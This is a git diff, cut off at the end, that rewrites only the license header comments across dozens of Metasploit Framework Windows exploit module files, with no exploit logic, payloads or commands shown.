b/modules/exploits/windows/imap/mailenable_status.rb index ffa0505bc3..c4f85b4623 100644 --- a/modules/exploits/windows/imap/mailenable_status.rb +++ b/modules/exploits/windows/imap/mailenable_status.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/imap/mailenable_w3c_select.rb b/modules/exploits/windows/imap/mailenable_w3c_select.rb index a59911744d..8875e6465c 100644 --- a/modules/exploits/windows/imap/mailenable_w3c_select.rb +++ b/modules/exploits/windows/imap/mailenable_w3c_select.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/imap/mdaemon_cram_md5.rb b/modules/exploits/windows/imap/mdaemon_cram_md5.rb index 7feb869194..5c8154328c 100644 --- a/modules/exploits/windows/imap/mdaemon_cram_md5.rb +++ b/modules/exploits/windows/imap/mdaemon_cram_md5.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/imap/mdaemon_fetch.rb b/modules/exploits/windows/imap/mdaemon_fetch.rb index c679182721..a26f49163a 100644 --- a/modules/exploits/windows/imap/mdaemon_fetch.rb +++ b/modules/exploits/windows/imap/mdaemon_fetch.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/imap/mercur_imap_select_overflow.rb b/modules/exploits/windows/imap/mercur_imap_select_overflow.rb index 4de81e75d9..86a9f65f29 100644 --- a/modules/exploits/windows/imap/mercur_imap_select_overflow.rb +++ b/modules/exploits/windows/imap/mercur_imap_select_overflow.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/imap/mercur_login.rb b/modules/exploits/windows/imap/mercur_login.rb index 41c381e2e5..aa221fbe19 100644 --- a/modules/exploits/windows/imap/mercur_login.rb +++ b/modules/exploits/windows/imap/mercur_login.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/imap/mercury_login.rb b/modules/exploits/windows/imap/mercury_login.rb index 60adb844ab..c3618c9423 100644 --- a/modules/exploits/windows/imap/mercury_login.rb +++ b/modules/exploits/windows/imap/mercury_login.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/imap/mercury_rename.rb b/modules/exploits/windows/imap/mercury_rename.rb index b479c0be24..f21948919e 100644 --- a/modules/exploits/windows/imap/mercury_rename.rb +++ b/modules/exploits/windows/imap/mercury_rename.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/imap/novell_netmail_append.rb b/modules/exploits/windows/imap/novell_netmail_append.rb index 680e731d19..bf5c33db45 100644 --- a/modules/exploits/windows/imap/novell_netmail_append.rb +++ b/modules/exploits/windows/imap/novell_netmail_append.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/imap/novell_netmail_auth.rb b/modules/exploits/windows/imap/novell_netmail_auth.rb index d3e5c1d87b..6fd23d987f 100644 --- a/modules/exploits/windows/imap/novell_netmail_auth.rb +++ b/modules/exploits/windows/imap/novell_netmail_auth.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/imap/novell_netmail_status.rb b/modules/exploits/windows/imap/novell_netmail_status.rb index c856552305..ceaca4d764 100644 --- a/modules/exploits/windows/imap/novell_netmail_status.rb +++ b/modules/exploits/windows/imap/novell_netmail_status.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/imap/novell_netmail_subscribe.rb b/modules/exploits/windows/imap/novell_netmail_subscribe.rb index 67b3f661b4..9535b4a479 100644 --- a/modules/exploits/windows/imap/novell_netmail_subscribe.rb +++ b/modules/exploits/windows/imap/novell_netmail_subscribe.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/isapi/ms00_094_pbserver.rb b/modules/exploits/windows/isapi/ms00_094_pbserver.rb index 160ce86e9f..8d590ca422 100644 --- a/modules/exploits/windows/isapi/ms00_094_pbserver.rb +++ b/modules/exploits/windows/isapi/ms00_094_pbserver.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/isapi/ms03_022_nsiislog_post.rb b/modules/exploits/windows/isapi/ms03_022_nsiislog_post.rb index e6aa8b691a..ffc893c5e0 100644 --- a/modules/exploits/windows/isapi/ms03_022_nsiislog_post.rb +++ b/modules/exploits/windows/isapi/ms03_022_nsiislog_post.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/isapi/ms03_051_fp30reg_chunked.rb b/modules/exploits/windows/isapi/ms03_051_fp30reg_chunked.rb index 786c901b5a..2545cb479e 100644 --- a/modules/exploits/windows/isapi/ms03_051_fp30reg_chunked.rb +++ b/modules/exploits/windows/isapi/ms03_051_fp30reg_chunked.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/isapi/rsa_webagent_redirect.rb b/modules/exploits/windows/isapi/rsa_webagent_redirect.rb index 201eba4c49..e7d86c8891 100644 --- a/modules/exploits/windows/isapi/rsa_webagent_redirect.rb +++ b/modules/exploits/windows/isapi/rsa_webagent_redirect.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/isapi/w3who_query.rb b/modules/exploits/windows/isapi/w3who_query.rb index 965f50bf30..56b7870962 100644 --- a/modules/exploits/windows/isapi/w3who_query.rb +++ b/modules/exploits/windows/isapi/w3who_query.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/ldap/imail_thc.rb b/modules/exploits/windows/ldap/imail_thc.rb index 604aead991..1d6dadaedf 100644 --- a/modules/exploits/windows/ldap/imail_thc.rb +++ b/modules/exploits/windows/ldap/imail_thc.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/ldap/pgp_keyserver7.rb b/modules/exploits/windows/ldap/pgp_keyserver7.rb index 7da94353da..ef9e4e2861 100644 --- a/modules/exploits/windows/ldap/pgp_keyserver7.rb +++ b/modules/exploits/windows/ldap/pgp_keyserver7.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/license/calicclnt_getconfig.rb b/modules/exploits/windows/license/calicclnt_getconfig.rb index 960ddeee3e..dc01a9323e 100644 --- a/modules/exploits/windows/license/calicclnt_getconfig.rb +++ b/modules/exploits/windows/license/calicclnt_getconfig.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/license/calicserv_getconfig.rb b/modules/exploits/windows/license/calicserv_getconfig.rb index c0b8991e28..9cc700febf 100644 --- a/modules/exploits/windows/license/calicserv_getconfig.rb +++ b/modules/exploits/windows/license/calicserv_getconfig.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/license/flexnet_lmgrd_bof.rb b/modules/exploits/windows/license/flexnet_lmgrd_bof.rb index 302d49c287..f640ef77d4 100644 --- a/modules/exploits/windows/license/flexnet_lmgrd_bof.rb +++ b/modules/exploits/windows/license/flexnet_lmgrd_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/license/sentinel_lm7_udp.rb b/modules/exploits/windows/license/sentinel_lm7_udp.rb index f57bf1fc17..0a9a1af1df 100644 --- a/modules/exploits/windows/license/sentinel_lm7_udp.rb +++ b/modules/exploits/windows/license/sentinel_lm7_udp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/local/adobe_sandbox_adobecollabsync.rb b/modules/exploits/windows/local/adobe_sandbox_adobecollabsync.rb index cd14f71785..5bc2afeae6 100644 --- a/modules/exploits/windows/local/adobe_sandbox_adobecollabsync.rb +++ b/modules/exploits/windows/local/adobe_sandbox_adobecollabsync.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/local/agnitum_outpost_acs.rb b/modules/exploits/windows/local/agnitum_outpost_acs.rb index b35f0de50b..e6a48947bc 100644 --- a/modules/exploits/windows/local/agnitum_outpost_acs.rb +++ b/modules/exploits/windows/local/agnitum_outpost_acs.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/local/always_install_elevated.rb b/modules/exploits/windows/local/always_install_elevated.rb index 3078d265de..ae85df5729 100644 --- a/modules/exploits/windows/local/always_install_elevated.rb +++ b/modules/exploits/windows/local/always_install_elevated.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/local/ask.rb b/modules/exploits/windows/local/ask.rb index 9e2b996c3c..bcf08348ab 100644 --- a/modules/exploits/windows/local/ask.rb +++ b/modules/exploits/windows/local/ask.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/local/bypassuac.rb b/modules/exploits/windows/local/bypassuac.rb index d72685fafc..f28f5c118a 100644 --- a/modules/exploits/windows/local/bypassuac.rb +++ b/modules/exploits/windows/local/bypassuac.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/local/current_user_psexec.rb b/modules/exploits/windows/local/current_user_psexec.rb index d54b0c3174..6b63b8f5be 100644 --- a/modules/exploits/windows/local/current_user_psexec.rb +++ b/modules/exploits/windows/local/current_user_psexec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/local/ikeext_service.rb b/modules/exploits/windows/local/ikeext_service.rb index 37c0df7acb..79ef29f143 100644 --- a/modules/exploits/windows/local/ikeext_service.rb +++ b/modules/exploits/windows/local/ikeext_service.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/local/ms10_092_schelevator.rb b/modules/exploits/windows/local/ms10_092_schelevator.rb index fc79e1d05f..8628be003b 100644 --- a/modules/exploits/windows/local/ms10_092_schelevator.rb +++ b/modules/exploits/windows/local/ms10_092_schelevator.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/local/ms11_080_afdjoinleaf.rb b/modules/exploits/windows/local/ms11_080_afdjoinleaf.rb index 46af4e8eed..40256e55fe 100644 --- a/modules/exploits/windows/local/ms11_080_afdjoinleaf.rb +++ b/modules/exploits/windows/local/ms11_080_afdjoinleaf.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb b/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb index 04f5a70a57..7e86fb5bc3 100644 --- a/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb +++ b/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/local/novell_client_nicm.rb b/modules/exploits/windows/local/novell_client_nicm.rb index d2508dfa81..77f1fccadd 100644 --- a/modules/exploits/windows/local/novell_client_nicm.rb +++ b/modules/exploits/windows/local/novell_client_nicm.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/local/novell_client_nwfs.rb b/modules/exploits/windows/local/novell_client_nwfs.rb index dacf1bd730..cd46a57950 100644 --- a/modules/exploits/windows/local/novell_client_nwfs.rb +++ b/modules/exploits/windows/local/novell_client_nwfs.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/local/payload_inject.rb b/modules/exploits/windows/local/payload_inject.rb index 040c89f764..2e81b4f7f7 100644 --- a/modules/exploits/windows/local/payload_inject.rb +++ b/modules/exploits/windows/local/payload_inject.rb @@ -1,8 +1,6 @@ ## # ## This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/local/persistence.rb b/modules/exploits/windows/local/persistence.rb index 40dcd939e9..ac302e85ba 100644 --- a/modules/exploits/windows/local/persistence.rb +++ b/modules/exploits/windows/local/persistence.rb @@ -1,8 +1,6 @@ ## # ## This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/local/ppr_flatten_rec.rb b/modules/exploits/windows/local/ppr_flatten_rec.rb index 9c962fe89e..232dfc190e 100644 --- a/modules/exploits/windows/local/ppr_flatten_rec.rb +++ b/modules/exploits/windows/local/ppr_flatten_rec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/local/s4u_persistence.rb b/modules/exploits/windows/local/s4u_persistence.rb index 7b96f6b6dd..d75dbd0235 100644 --- a/modules/exploits/windows/local/s4u_persistence.rb +++ b/modules/exploits/windows/local/s4u_persistence.rb @@ -1,8 +1,6 @@ ## # ## This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/local/service_permissions.rb b/modules/exploits/windows/local/service_permissions.rb index af27d9a2fc..98e3490a9d 100644 --- a/modules/exploits/windows/local/service_permissions.rb +++ b/modules/exploits/windows/local/service_permissions.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/local/trusted_service_path.rb b/modules/exploits/windows/local/trusted_service_path.rb index 5a30b28947..85968af822 100644 --- a/modules/exploits/windows/local/trusted_service_path.rb +++ b/modules/exploits/windows/local/trusted_service_path.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/lotus/domino_http_accept_language.rb b/modules/exploits/windows/lotus/domino_http_accept_language.rb index fecba4c4fc..0396d90073 100644 --- a/modules/exploits/windows/lotus/domino_http_accept_language.rb +++ b/modules/exploits/windows/lotus/domino_http_accept_language.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/lotus/domino_icalendar_organizer.rb b/modules/exploits/windows/lotus/domino_icalendar_organizer.rb index b0a18dcc28..a1a8c7e63f 100644 --- a/modules/exploits/windows/lotus/domino_icalendar_organizer.rb +++ b/modules/exploits/windows/lotus/domino_icalendar_organizer.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/lotus/domino_sametime_stmux.rb b/modules/exploits/windows/lotus/domino_sametime_stmux.rb index ebc0430561..ae51722caa 100644 --- a/modules/exploits/windows/lotus/domino_sametime_stmux.rb +++ b/modules/exploits/windows/lotus/domino_sametime_stmux.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/lotus/lotusnotes_lzh.rb b/modules/exploits/windows/lotus/lotusnotes_lzh.rb index 63784fc589..2c205af5c5 100644 --- a/modules/exploits/windows/lotus/lotusnotes_lzh.rb +++ b/modules/exploits/windows/lotus/lotusnotes_lzh.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/lpd/hummingbird_exceed.rb b/modules/exploits/windows/lpd/hummingbird_exceed.rb index ad96ea1f33..96452c1b5e 100644 --- a/modules/exploits/windows/lpd/hummingbird_exceed.rb +++ b/modules/exploits/windows/lpd/hummingbird_exceed.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/lpd/niprint.rb b/modules/exploits/windows/lpd/niprint.rb index 6ee167483a..4c31120c8e 100644 --- a/modules/exploits/windows/lpd/niprint.rb +++ b/modules/exploits/windows/lpd/niprint.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/lpd/saplpd.rb b/modules/exploits/windows/lpd/saplpd.rb index 43414144bf..a89025aa19 100644 --- a/modules/exploits/windows/lpd/saplpd.rb +++ b/modules/exploits/windows/lpd/saplpd.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/lpd/wincomlpd_admin.rb b/modules/exploits/windows/lpd/wincomlpd_admin.rb index 4af3fa9241..163f7b715e 100644 --- a/modules/exploits/windows/lpd/wincomlpd_admin.rb +++ b/modules/exploits/windows/lpd/wincomlpd_admin.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/actfax_raw_server_bof.rb b/modules/exploits/windows/misc/actfax_raw_server_bof.rb index 94e4baec1b..bc1b1b15bd 100644 --- a/modules/exploits/windows/misc/actfax_raw_server_bof.rb +++ b/modules/exploits/windows/misc/actfax_raw_server_bof.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/misc/agentxpp_receive_agentx.rb b/modules/exploits/windows/misc/agentxpp_receive_agentx.rb index 8750434bc1..bed7521e19 100644 --- a/modules/exploits/windows/misc/agentxpp_receive_agentx.rb +++ b/modules/exploits/windows/misc/agentxpp_receive_agentx.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/allmediaserver_bof.rb b/modules/exploits/windows/misc/allmediaserver_bof.rb index 9635eb2285..0dad6b453a 100644 --- a/modules/exploits/windows/misc/allmediaserver_bof.rb +++ b/modules/exploits/windows/misc/allmediaserver_bof.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/misc/apple_quicktime_rtsp_response.rb b/modules/exploits/windows/misc/apple_quicktime_rtsp_response.rb index 23e8546e22..bf65571f25 100644 --- a/modules/exploits/windows/misc/apple_quicktime_rtsp_response.rb +++ b/modules/exploits/windows/misc/apple_quicktime_rtsp_response.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: 